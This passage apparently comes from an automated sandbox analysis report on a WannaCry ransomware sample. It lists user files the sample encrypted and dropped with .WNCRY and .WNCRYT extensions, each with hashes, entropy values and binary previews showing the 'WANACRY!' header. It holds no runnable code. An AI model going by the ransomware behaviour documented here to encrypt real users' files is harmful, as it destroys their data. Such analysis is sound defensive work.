                                                                                                                        Preview:.6..uY.....7S.?d.....n Q+...H.P..PM!_bY....6Q.#&HN....9..t.),ND>a....r..B<C2...n/61.a..A..J...k...[.vji...}.{.....r...J4.......CUk..Qw-1...0.!....&.-.'c.b..... QPy...U^.#..y..e...1\..#...)J.r`~yu.wL.6H..(.1....uz..6j...2=..>.w2M....V.%1...'.C/.c..........KK?..N....I/Gf.i-...._.JW.9..Evb....[}#=f..3o...[....t..Uk.p.../..0....="...m\~...\.,l.kI..:....F...3.m..t.2../..7....!'/..$..S...6s..~jU[.......".n..M.x....'...p..4....Gwg`..b.[.M....).9.:...[.%g..q..V9..#xaI...P$.V........p.v".6...q#8~..D..Z..fv.v....|H..3......W}..AI.S3.(.[w.....p.Jy..h..M.,..`..B].I..W.q..fG..0..p9........@C.6A>C..&.U..."..L..`J.j2..`.t......1Y.Osd.f$S.....FU..1.... e..q. .EM.....h........_......>._.&&.%bxt......(:..%TC#..<..E..'5mfl(z5...L?...8....../.B.Bt.......B...ag.......i...7{.B..8..b....D.W.w..[dWr...O......|...I....S...N...V........rYp...A..u!..~.c.I....weXh.n.*.;.t.b..33.c.iG.Kj.ei...;..3\.../......f.w35&fa.W.Pb9.B.%..._....a{[.;.....g....r.j+....j.4Z..i..C&,.o

                                                                                                                        C:\Users\user\Desktop\ZTGJILHXQB\GAOBCVIQIJ.mp3.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.837854280817691
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkCH6LvCo7y7oSsrwzpCKJrNCgQC+Yaz1JUhyaHQ4pnTBEf3u6jshqkHVLdXYAb:bkCaZ2hF/EfC+YaHcyQVmfKdLdXYo
                                                                                                                        MD5:C8C03D1EA171E86BEF2FB17B92784B69
                                                                                                                        SHA1:9B57B4E6137D51E483BDBC120201BFA004E290E5
                                                                                                                        SHA-256:F40B00A744872149C26179AFF77615BA2BF3322651EA5473C276AD3AE0EDC6F1
                                                                                                                        SHA-512:ADAF5551E4AC797A08B732DA5BB16CB2B152AF4191462D0155A438151BC4AA37B6EA46E3EBCC9A1B7550B33763D9FBAC91F60BCD2D45E1924BC2DE0BB2127FFE
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........g.C..'........\AY..Y.[..G.a..r.RB......xb(._.V..Du\$z....).%.-.....r..B.V..Hb*...g.#.p..v%6.9[.|.9.k...R,!d...X<^+..b..6]QZ&.-..x.D!...%.zdi...;Jz......:.F8...!@..Z.a.L.'....a...F.....lO..>ng..*.*"...8.`_......@z.0..E. u~.p%...Q.... .!.[..5.a..............,.......7}_a...<...7&`.....K...+..s.*.....Q.;...!.ki..?M......`.e.r.....:Mo.h.nc..;A..zM..6.....=|..u...).....|...v.Z]DR.....D..z.c7...Mn.o/i-............K.}?..s..[......]..=Q..`O...;...0S...(".P...]$.....,Y...h.9R..)..{~.5....?<.J...?!D_.......<...p........b..o.......-..`.sR...:e{l._..ju:..b...1dN.z.....x.8M.9.?.v.....y...(.~.h...3.aYo.,...1....sVTK..Q<.....j....o..Zq..g...(....g.Va.V....4.U....\....._.O. ...._..J.p.9t.H..P...h..`..od...%.)...H.+i.....f."Q..ag.K.:.J+......>.OB$.}..R.XL+.......?.vu...!t6.w2'....J.........).2..>d..d..........Zl..6D...]Lb7Aj.M.,.3.!.FA.=g.s..$....d.y..?x......}......>n.....d5........T.).:.!.62....o....H9h.{o.......U(......b>...\}.Z..w.t..:Oo.o{...TA,V....

                                                                                                                        C:\Users\user\Desktop\ZTGJILHXQB\GAOBCVIQIJ.mp3.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.837854280817691
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkCH6LvCo7y7oSsrwzpCKJrNCgQC+Yaz1JUhyaHQ4pnTBEf3u6jshqkHVLdXYAb:bkCaZ2hF/EfC+YaHcyQVmfKdLdXYo
                                                                                                                        MD5:C8C03D1EA171E86BEF2FB17B92784B69
                                                                                                                        SHA1:9B57B4E6137D51E483BDBC120201BFA004E290E5
                                                                                                                        SHA-256:F40B00A744872149C26179AFF77615BA2BF3322651EA5473C276AD3AE0EDC6F1
                                                                                                                        SHA-512:ADAF5551E4AC797A08B732DA5BB16CB2B152AF4191462D0155A438151BC4AA37B6EA46E3EBCC9A1B7550B33763D9FBAC91F60BCD2D45E1924BC2DE0BB2127FFE
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........g.C..'........\AY..Y.[..G.a..r.RB......xb(._.V..Du\$z....).%.-.....r..B.V..Hb*...g.#.p..v%6.9[.|.9.k...R,!d...X<^+..b..6]QZ&.-..x.D!...%.zdi...;Jz......:.F8...!@..Z.a.L.'....a...F.....lO..>ng..*.*"...8.`_......@z.0..E. u~.p%...Q.... .!.[..5.a..............,.......7}_a...<...7&`.....K...+..s.*.....Q.;...!.ki..?M......`.e.r.....:Mo.h.nc..;A..zM..6.....=|..u...).....|...v.Z]DR.....D..z.c7...Mn.o/i-............K.}?..s..[......]..=Q..`O...;...0S...(".P...]$.....,Y...h.9R..)..{~.5....?<.J...?!D_.......<...p........b..o.......-..`.sR...:e{l._..ju:..b...1dN.z.....x.8M.9.?.v.....y...(.~.h...3.aYo.,...1....sVTK..Q<.....j....o..Zq..g...(....g.Va.V....4.U....\....._.O. ...._..J.p.9t.H..P...h..`..od...%.)...H.+i.....f."Q..ag.K.:.J+......>.OB$.}..R.XL+.......?.vu...!t6.w2'....J.........).2..>d..d..........Zl..6D...]Lb7Aj.M.,.3.!.FA.=g.s..$....d.y..?x......}......>n.....d5........T.).:.!.62....o....H9h.{o.......U(......b>...\}.Z..w.t..:Oo.o{...TA,V....

                                                                                                                        C:\Users\user\Desktop\ZTGJILHXQB\IPKGELNTQY.jpg

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.799017854308322
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:omZPEtrCX3ooPTb9U66wUt+WrKuI8230sQC:iWXtbboaK23LN
                                                                                                                        MD5:4B01456D05ED6AE2CB97494FAEF3808F
                                                                                                                        SHA1:2930AE95990A9EFB555CFBF2842D694415751391
                                                                                                                        SHA-256:D724D6D0D660FC2BBF8E36AFB32F03A57FD0DC6430C88531226D5BF6B7CF3504
                                                                                                                        SHA-512:7F67F1511C2B7C8A455534C843FF6F4D546C929F9E3FCC1B01CC47A6C3BC43CF7AABFF880C49522FDCCD3F01BB75A7280B1824E0802AAACD7B6F6177A2F6191D
                                                                                                                        Malicious:false
                                                                                                                        Preview:s..-.m\..r.........@Akk...|n.s.o.?....<o...."u...O....N+]S...Qkj.!..JdR...K 6.I l.y..B..H ,.Vh2.gqJ...P..~>a...Mv._..l.Q.....u..[..t.I.I9s~K...;/...Y.uRb...../.DV._)H.bt...>...*.]..g.`~..x.p-p3...^...F..W.5..7........l.....+z...>Kf.;.F.......dY..EU|.......z.E..R..Mf-./.H...x.,....%..W..[{...@=.F~.....c.|-+6..^w....K..m)A.1GQ.7...w.ir@...l#.[....mQo .{.....7.(9&..M...Mez.#c...+..*.b...ShdYE.../.O.......k].(P"q..L......6...i$..7bH..Q......`.....J............eXm.v...Wx.....Y.....n..%k@..Yt."5..:j.h....K..H...w.'.-.R....#P....1.U2)F[.....GNB.. l...]+i..r...,...yz........kC...(yR;...3..m+..O..K...k.i..v..g8:..^....l43...L.5.....S...u%.r...C....S...Y..O....QH'_aO\.A.Z....Z.`..'.<Q!.g......M..s..)5..y.p.|.,g.ICB_..g....9.0m2).T.~.[..Z..M.-hp1..MRM&.l.n.:Q.D..|../.Z+./..m!.v..9.........K^....*...T.......G....Q S.!#"..C.V.a=)~....>cu..lVqi.y1ck..,.Y.#.;..&-|3.q...P.`..p..-......._~..@.q.Y.Wf..X;..#.....^..,%.(j.@...K(0J ..6D.....\...:.$h.v..[..Q....A..;g.....;!PT>:....

                                                                                                                        C:\Users\user\Desktop\ZTGJILHXQB\IPKGELNTQY.jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.842083458312417
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkPq3iNPsp4jxUWiYmYU5+dayLnjRGKlWVMv0IRgXi3NuyKbwFFfLvnsJ3n:bkS3iNUWiYQiTTjRGmWgpRx3NuZbY1sh
                                                                                                                        MD5:4BCF7CD8BE10AE3360A81CB3F9C15097
                                                                                                                        SHA1:976213990DD7A1E8B29ABB4443785DB104C80E50
                                                                                                                        SHA-256:F6C170CFFFBC87F704F8CF6597C11A65833AB3DAF6A6566B26588D69E5C01BB2
                                                                                                                        SHA-512:0C12C06CA14E6DC6BF02528B6F951815C5D9D707C84869F701AE16C2FC48A966EB265114B08ED1CD32DD17D40605FB5621BB7B63DDD308D05F91ED23FF2CF760
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....J..TB.lM-R;..f.X..|.4...[...6.:.I.j.K<...wmd..}.%.bho.Jf@....r.......?......a...dQ....p!.R......wE.....B....p.eOo.E..y.4M.n.sb.V..,N..c.W...L.J..pZ....[H.=9W.;X......:....a.w.._.(.p.NE..@y....*. Q.vm.!.J2.v..F...+X.y..ZK*.._..%Of...Ve.UAE.G.................!...9.4%..$....G1.RS.g........I.D..........t.`..0.d.{'\'.<...E.T.....#.%hX..4..6.D@.x...p.......^[....e.."VOqX.n.\...........}O.;._......>....h..'.M.zb.."...ir...6;.r'..G.....!L.O.1.C.....K..`w.S..&ln.....P9.'lt........h3..o.v.c.KTs..g8...:...L.|..b.7...yi..k.> `.$...?.+.O....\'....&'......../..+...v.8W.... .nU.j.'0.m..a0.b.x.Y.TqT...Pf..p...,.J}...Q.$....P......<..i.X..f..E]...>.L..g.C..|..-t.......Mh4E.........V.B1.H._..`.L........._@..^.....F7.......Q.?f.s...$.1..._`.po..{92..Eg../..U.>....._.....s...U.>.Y..../..:THj...F...H.{j.&8...~.....V'G.`.?A........1[...1..>P..../.@&I.w....V.!h\+k.e......#*.J....O.."Z.'.kS...g.....>..B!.d1.....;.b.Zo..&_{1...:BKx.#.:F.2..n....H.

                                                                                                                        C:\Users\user\Desktop\ZTGJILHXQB\IPKGELNTQY.jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.842083458312417
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkPq3iNPsp4jxUWiYmYU5+dayLnjRGKlWVMv0IRgXi3NuyKbwFFfLvnsJ3n:bkS3iNUWiYQiTTjRGmWgpRx3NuZbY1sh
                                                                                                                        MD5:4BCF7CD8BE10AE3360A81CB3F9C15097
                                                                                                                        SHA1:976213990DD7A1E8B29ABB4443785DB104C80E50
                                                                                                                        SHA-256:F6C170CFFFBC87F704F8CF6597C11A65833AB3DAF6A6566B26588D69E5C01BB2
                                                                                                                        SHA-512:0C12C06CA14E6DC6BF02528B6F951815C5D9D707C84869F701AE16C2FC48A966EB265114B08ED1CD32DD17D40605FB5621BB7B63DDD308D05F91ED23FF2CF760
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....J..TB.lM-R;..f.X..|.4...[...6.:.I.j.K<...wmd..}.%.bho.Jf@....r.......?......a...dQ....p!.R......wE.....B....p.eOo.E..y.4M.n.sb.V..,N..c.W...L.J..pZ....[H.=9W.;X......:....a.w.._.(.p.NE..@y....*. Q.vm.!.J2.v..F...+X.y..ZK*.._..%Of...Ve.UAE.G.................!...9.4%..$....G1.RS.g........I.D..........t.`..0.d.{'\'.<...E.T.....#.%hX..4..6.D@.x...p.......^[....e.."VOqX.n.\...........}O.;._......>....h..'.M.zb.."...ir...6;.r'..G.....!L.O.1.C.....K..`w.S..&ln.....P9.'lt........h3..o.v.c.KTs..g8...:...L.|..b.7...yi..k.> `.$...?.+.O....\'....&'......../..+...v.8W.... .nU.j.'0.m..a0.b.x.Y.TqT...Pf..p...,.J}...Q.$....P......<..i.X..f..E]...>.L..g.C..|..-t.......Mh4E.........V.B1.H._..`.L........._@..^.....F7.......Q.?f.s...$.1..._`.po..{92..Eg../..U.>....._.....s...U.>.Y..../..:THj...F...H.{j.&8...~.....V'G.`.?A........1[...1..>P..../.@&I.w....V.!h\+k.e......#*.J....O.."Z.'.kS...g.....>..B!.d1.....;.b.Zo..&_{1...:BKx.#.:F.2..n....H.

                                                                                                                        C:\Users\user\Desktop\ZTGJILHXQB\LSBIHQFDVT.png

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.831835967335422
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:sjs9bjLAH0eMhxFgGeP11yqYM5/4Ha7HfsC0JRuZiXc+p2OL4NmGQn:8s9bjLG0eM7zeN1kM5A6IXAsXc+p2O7n
                                                                                                                        MD5:814CD2C093F3AD1F1EF2F14C543D0539
                                                                                                                        SHA1:7B3D512E3D4CFD2893B260A3F9DBA8507831C803
                                                                                                                        SHA-256:A8EC34BDE4FE1A24F1B3893DDCFFC5C9C32413861825AB71C410330AAA814F36
                                                                                                                        SHA-512:E88FA3E15964798DB6FE4A4D36ADBCBB99B201BC2F5A845597DAB7B07F426393B5F5E48F96CBBAA73875944DEE6A323468D20CBDCD16C855B45358F76C443294
                                                                                                                        Malicious:false
                                                                                                                        Preview:....3Z!C,.....9.n..<LT....E..=....N..QF.....b.1T.....2f.C?+. .;....\n..,X<.N.Hc,._@A...H9.AY...._....P.G...]..H;.. ..K...,...q...j.....l..?....wZ.,..V.Z....t..s..:k>.fX.....)0.C1xA.....n.zY.-a....pc<../C.. ..8..OP}r.. 0y..K....0.DT!.z.S.Wc...9.dX.f...a(...Q...9 ..B.E."h. ...........A....V..P.g...H\c..._..........$..7z...S.G...+.7..H~~......}. ...1...l. %....-{:$.f..NK;Y...G.>.3.....e.9wO..+ZBH.......E..E..R.Jv...Mx..?._n..$.L`....V.t..&TP~.. .q.s.......C.........6..T~..?.....W.....u..H.xM.]...S...6l+[..XI%...>..v........C..$V;..\q.|6<Tv.........../c....(.......Si.J...(.......7.!.vU..<m.yx=C..d.......p~.o....?.lZ..Fc.x.bZ.0.`.o\..........2.!........N..!....9I;."t.F.5.Y2.S..,..N...}._:H.. .zL....e.....t.J...o(xQ53...n.3.W..+*x6u....Y.1..kn...O.%:....6Y......:r.Vx."5.?...L.'.8i....F<^.F`&P.b;..#.}..5.>=.mX...L.C..|...\w/.........M{uU4....nOe.....G..+O.......*.)P....A...c...c...0m.K.."Q.-..|c.....B......UF`v1:........-........%F..hZ!.{..d^ .-..

                                                                                                                        C:\Users\user\Desktop\ZTGJILHXQB\LSBIHQFDVT.png.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.8546175934722
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkBwPJtknUKGor4dN8YVdc2UuM/ogu+6Ermjv/tz7FJLomqrK7P9WoO64aM:bkBwPJtkUC4dN8Yrd1MwgpMjn5RJLomy
                                                                                                                        MD5:4F19F72AB65F289450B78DBEB2C2E794
                                                                                                                        SHA1:7966583C4BD53C03E2E7D06E0B1469F525F02F5F
                                                                                                                        SHA-256:EB2F22A85A7F91F8AC2EC43A88E5BE7D2CDC2DE498C83E31832F06EEB62AA308
                                                                                                                        SHA-512:8E4ECEAA4D8FFC4E41F466FCAD2C6EF06E3B3A04A5254FE27F0255996355AD0B5D0D1D878797F278A50420E1DD9F0E2261981B4259B44B01731B5DD78B817819
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....XWVf.PP......y.$....!...........B....5.......J...l...Z.b.{...i..4..0........i../y.........z...tfIi..SjH"h.e...~..N.1.#.......*..%.a*..=.hW\.....K..gO..pG'.Y...E8s.U.z.cz..8[N...'....l).M..N.9.;x.:s#x..%`rF..UR..'.p{...A..#,...'.P|.x......P...s&..............'.Oi%.<k4-...)w ...m:..i..8../..N..<Z.9..x..ZD..... Q..%..<..F)h.2+...8.......g..`...._.~..........{.."^o%.Ft:./Q.y...n..P>.>9.g....!.J..".T.FKS.......y..Yh..-.0.&...st.]V.t.G.^..r.zd.:..ut..P.[r~!A#.X...>G......?.;.X...-...$Kigv...VOI...H]un.eJ..-.Df..v.&.[.B@K..X.~lo)G../....4......F.F.b.LnVUq.O.s".*.;.y....!...1k.oa...\...JF.m.?..Z5k).t1..0..h.......R..Pc....%......I../.^..P(.+.y.H0&ND..3{...P.........HZa.G.ai.....K..a..+.{.."..AMl%.J}..!N.~...G....h.......Y..*.....=...J.V./.........gV)... ......@i......F...'=.0 ....h.........8..Dd.54*.....E...8..emR.}.=.g.,Lv.......~HD.....D.....1.+...ZG...H..5_j..Zj...5.z......CJl.H...9...........M..sU..m..}h..2..:.{W.=...HK~s.9..

                                                                                                                        C:\Users\user\Desktop\ZTGJILHXQB\LSBIHQFDVT.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.8546175934722
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkBwPJtknUKGor4dN8YVdc2UuM/ogu+6Ermjv/tz7FJLomqrK7P9WoO64aM:bkBwPJtkUC4dN8Yrd1MwgpMjn5RJLomy
                                                                                                                        MD5:4F19F72AB65F289450B78DBEB2C2E794
                                                                                                                        SHA1:7966583C4BD53C03E2E7D06E0B1469F525F02F5F
                                                                                                                        SHA-256:EB2F22A85A7F91F8AC2EC43A88E5BE7D2CDC2DE498C83E31832F06EEB62AA308
                                                                                                                        SHA-512:8E4ECEAA4D8FFC4E41F466FCAD2C6EF06E3B3A04A5254FE27F0255996355AD0B5D0D1D878797F278A50420E1DD9F0E2261981B4259B44B01731B5DD78B817819
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....XWVf.PP......y.$....!...........B....5.......J...l...Z.b.{...i..4..0........i../y.........z...tfIi..SjH"h.e...~..N.1.#.......*..%.a*..=.hW\.....K..gO..pG'.Y...E8s.U.z.cz..8[N...'....l).M..N.9.;x.:s#x..%`rF..UR..'.p{...A..#,...'.P|.x......P...s&..............'.Oi%.<k4-...)w ...m:..i..8../..N..<Z.9..x..ZD..... Q..%..<..F)h.2+...8.......g..`...._.~..........{.."^o%.Ft:./Q.y...n..P>.>9.g....!.J..".T.FKS.......y..Yh..-.0.&...st.]V.t.G.^..r.zd.:..ut..P.[r~!A#.X...>G......?.;.X...-...$Kigv...VOI...H]un.eJ..-.Df..v.&.[.B@K..X.~lo)G../....4......F.F.b.LnVUq.O.s".*.;.y....!...1k.oa...\...JF.m.?..Z5k).t1..0..h.......R..Pc....%......I../.^..P(.+.y.H0&ND..3{...P.........HZa.G.ai.....K..a..+.{.."..AMl%.J}..!N.~...G....h.......Y..*.....=...J.V./.........gV)... ......@i......F...'=.0 ....h.........8..Dd.54*.....E...8..emR.}.=.g.,Lv.......~HD.....D.....1.+...ZG...H..5_j..Zj...5.z......CJl.H...9...........M..sU..m..}h..2..:.{W.=...HK~s.9..

                                                                                                                        C:\Users\user\Desktop\ZTGJILHXQB\MXPXCVPDVN.pdf

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.82691695049323
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:AClCb3H2J00WKlN03FfNmvAJpm4+2RmRvMp5qIR1uCUo:AuCb3H2JNlN0vmvWpg2RrpgIR5N
                                                                                                                        MD5:3AC9CD02B7C46DB8EB1CDFAA18FA1915
                                                                                                                        SHA1:1CCEF4E3CD36E04C964B704F6BAE100A654C27D2
                                                                                                                        SHA-256:7605EC120F58AA9AF4AED29FFCE40B2F5176B07207CA59754C92F589CEA7D098
                                                                                                                        SHA-512:95B30BE7C9B161B036C812F63E84BB8E808512490FB51CEE52C5EBE1D488C0E88E2410836E37E38CDB2CF8B46DB3D6E6767A7A9064813F6286B7985F998DC29B
                                                                                                                        Malicious:false
                                                                                                                        Preview:5`.......s(.*...........W.U1..Ed..bi .bL...N/......^`..0T.6..._.Of...T..3b.X.tU...|..m.v...C......h.s.Rr...k.fZn..^3.7...>....U....]C...5v..$Md.W\....).m........k/..k...... ...p.O..^iM..f.-'..zON..E.X...p.RZ2./...U..B.......c.8..8..i1..\$g.B..|..Sp..J<..d.I..'.(l..[...t........!....Q.*..k%..P..`.LoM..J....O..$.g.|.H.U..~%256.s.]..r....'lp./.4y.ou.....2.'.....r&.....&E+........60U<.5M.....U.M.D8../....g...d#..V>..q.#{.......K.H...C..#...D...#`.O.8&e.......*...i~.5.9..ukw..j...Y.{.|H.....z.k..5...2/;,x.j..)DD.......HQ.,.b..)f........f.Z....i.]T.$..*[8....!njpL.9.=.r\..7.o|fa?...G....b..WV.....y..]....."..L.W...8$7\.S..[...y....1....<H..^..U.S..:Q....,...yw....D....'..*..6.F0....F...L$I..h,.:.K..G=]..(.f.O+.Q.03....j............C>...t>nd_...ZF'...s.3#6S*7^}.".b'<.#_FX-.^...>.*.......Y..a.GJ.%.I.`.$.Z.C...A.$.J.S+@...... .....b.v.K..4.....z16...]U.6 .h :Kx...>.Y;.0..Od.tUO...v..>.|T..j..Q...[k.{.S?..+.@*...Zw.VxH:....9h?.V.V'...n..% )d...Ab....:&

                                                                                                                        C:\Users\user\Desktop\ZTGJILHXQB\MXPXCVPDVN.pdf.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.847790931262059
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkudzLq/kNqxx+xwNXwP8unLqxcAWg01FkVb0t1W1fr6y0gIDGBH:bkEq88mwE8eLqxcAWg5t0t89nIDGBH
                                                                                                                        MD5:95A8CDB891F3A06C6732D5F7A4253D49
                                                                                                                        SHA1:8D95DFF9945758436345B403318DD88CBEE6B81E
                                                                                                                        SHA-256:B42B54C12AD089252B50B8BC88FB58A3BD2D0E96FBCEAC39428A91644FF0CC4F
                                                                                                                        SHA-512:778764CF55BCA70779E6272AAD53C20F872102167CBA8A5F558FBB85933740714D5E0D2A9E7B7CCE6080D59C8D526B3BECD54BD9B79C018B10138EA0BB299E87
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......[.@4.......w.U..X....5..;us...........C.mm..wq.6........CO.._n.$x).".?..efc..u...\q..r2...t..h;7.E.q.^.-Ot.....[..i.&..$.......f.c........N..2.mK`@...\...Fw25...h."..**.V...[...t,...........1.....p`~G.............!..._...u......&t./.-..............,.P6.{C)....0...Lz.H.-...6....F].+.u...,._.[F*.j...b.y-2(.n5.EH0V.)...e[...j.G ...}NJ..;T.w.v+BG.p.......N./.(g-.....a'....I...k..Q.#.r......:.0.......b...O...=....<..7%.3Mv..g...R_....Z.?/...Rwg.]..=..-....4...o...3....257u@|.).....H.2...m......j2R.....o..g....R..Km...:.G.b.....".>.AA.L..38..8j.....r.%c....|7n..x.>h.K.$.[...e:.....{.G./.t.~wW.Y0.....\...IQ.,.[..'m..[=C....4.y<\.[..'9...#...4.15d..x...36&.7..jl'...85F...].....IT..!]......I.....G....Hv.lO..Jk..:.;..Z..\.|.B..9A9T.3k...GK..q.&....R...D.a..,.;.G= [~.C..aqN.j{.ZB%<......?Q....N.._s...I....B.#.wi...E*.lK'...4\r.Eca..g...u.._ (N.Q...R~..W90..[.....j...*C\p.@@....h.....xiP..e....]z[r...8.+..J8.....mQ..}g...jF._.J.

                                                                                                                        C:\Users\user\Desktop\ZTGJILHXQB\MXPXCVPDVN.pdf.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.847790931262059
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkudzLq/kNqxx+xwNXwP8unLqxcAWg01FkVb0t1W1fr6y0gIDGBH:bkEq88mwE8eLqxcAWg5t0t89nIDGBH
                                                                                                                        MD5:95A8CDB891F3A06C6732D5F7A4253D49
                                                                                                                        SHA1:8D95DFF9945758436345B403318DD88CBEE6B81E
                                                                                                                        SHA-256:B42B54C12AD089252B50B8BC88FB58A3BD2D0E96FBCEAC39428A91644FF0CC4F
                                                                                                                        SHA-512:778764CF55BCA70779E6272AAD53C20F872102167CBA8A5F558FBB85933740714D5E0D2A9E7B7CCE6080D59C8D526B3BECD54BD9B79C018B10138EA0BB299E87
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......[.@4.......w.U..X....5..;us...........C.mm..wq.6........CO.._n.$x).".?..efc..u...\q..r2...t..h;7.E.q.^.-Ot.....[..i.&..$.......f.c........N..2.mK`@...\...Fw25...h."..**.V...[...t,...........1.....p`~G.............!..._...u......&t./.-..............,.P6.{C)....0...Lz.H.-...6....F].+.u...,._.[F*.j...b.y-2(.n5.EH0V.)...e[...j.G ...}NJ..;T.w.v+BG.p.......N./.(g-.....a'....I...k..Q.#.r......:.0.......b...O...=....<..7%.3Mv..g...R_....Z.?/...Rwg.]..=..-....4...o...3....257u@|.).....H.2...m......j2R.....o..g....R..Km...:.G.b.....".>.AA.L..38..8j.....r.%c....|7n..x.>h.K.$.[...e:.....{.G./.t.~wW.Y0.....\...IQ.,.[..'m..[=C....4.y<\.[..'9...#...4.15d..x...36&.7..jl'...85F...].....IT..!]......I.....G....Hv.lO..Jk..:.;..Z..\.|.B..9A9T.3k...GK..q.&....R...D.a..,.;.G= [~.C..aqN.j{.ZB%<......?Q....N.._s...I....B.#.wi...E*.lK'...4\r.Eca..g...u.._ (N.Q...R~..W90..[.....j...*C\p.@@....h.....xiP..e....]z[r...8.+..J8.....mQ..}g...jF._.J.

                                                                                                                        C:\Users\user\Desktop\ZTGJILHXQB\SQRKHNBNYN.xlsx

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.822277219448273
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:nX6X7WJz8/ceEmRI9RoJT3H0+ZxOqwStcDZT4lNztOralZ7:nX6UI72RsGfS2DZT4z4alZ7
                                                                                                                        MD5:8C6C24BFC2E59594555071B4DFB2A065
                                                                                                                        SHA1:5E5FC4F827E14EC35BF7E4AE02E0AB82248BB633
                                                                                                                        SHA-256:B3D458F31BDE988FE25C6CE412E0767CEA81CD28FEEE8FF030E2699CE0004150
                                                                                                                        SHA-512:3180E64E730AFE535E93A5E710B760A9676CDEF675F2F4C3F838A6E4E6CE5717EC959EF3CD5ABC77E75138B257A837E065114A6BA940EB420C02EF699886A538
                                                                                                                        Malicious:false
                                                                                                                        Preview:.Tt..p......u.].....ny......%..E......G......$......u...X.}....[V.....X..t.....Q.*z.j...1..V....oj..~O.QUj.O~..._..Z.......@-<m.E..+s....N..]..X...1.'|tr.t.v...=.>.......v.!..$....P..Ph.B.c..V..oGU..;.......V.4..Z...UK.6A@...V.~7.."qw....to.m..'E...f#.9.m..q~&..}q.....(.... ...."....]....Y.|..7......|BqS.j.mE...&4B.Sb.i..........].....\.7...5..|.u.K......(.].8sf..I>.5.?OI..p.x..^.',.GL,.K.5.,+...d.`..e...s:a...n..n.5*......bA...}.n.4.&....3..s..&..}..r.........9.....UiS..w.......l...:.C!...#..fO.D)..&....r....zrs;..UR....ejK.d...k`B.:...S;oA].....LO.Iq...F.T.......9.g....&...V.u......T...._.{....]..8..!Q.|uK.........q<.s.Z.....0..K....%...l...y...V2.=J.5..2.kt..:..`bIH.B<.!......j..e.@.......M..C.2.T........G.p......`.[..}.<:}.?wS...M.b.tC.......)..p.y..>......S.`Y..O.<NqV|.).Ny6.=...y.AZ...N.5.R..@>.....u..^.........wM....X...u.....N...LB..........|..T.V........R1.v......8b*.9c...^"A......Ngw.{.Sl.{.J..kA...r.V.5...Fg.60...*Q_..Y.

                                                                                                                        C:\Users\user\Desktop\ZTGJILHXQB\SQRKHNBNYN.xlsx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
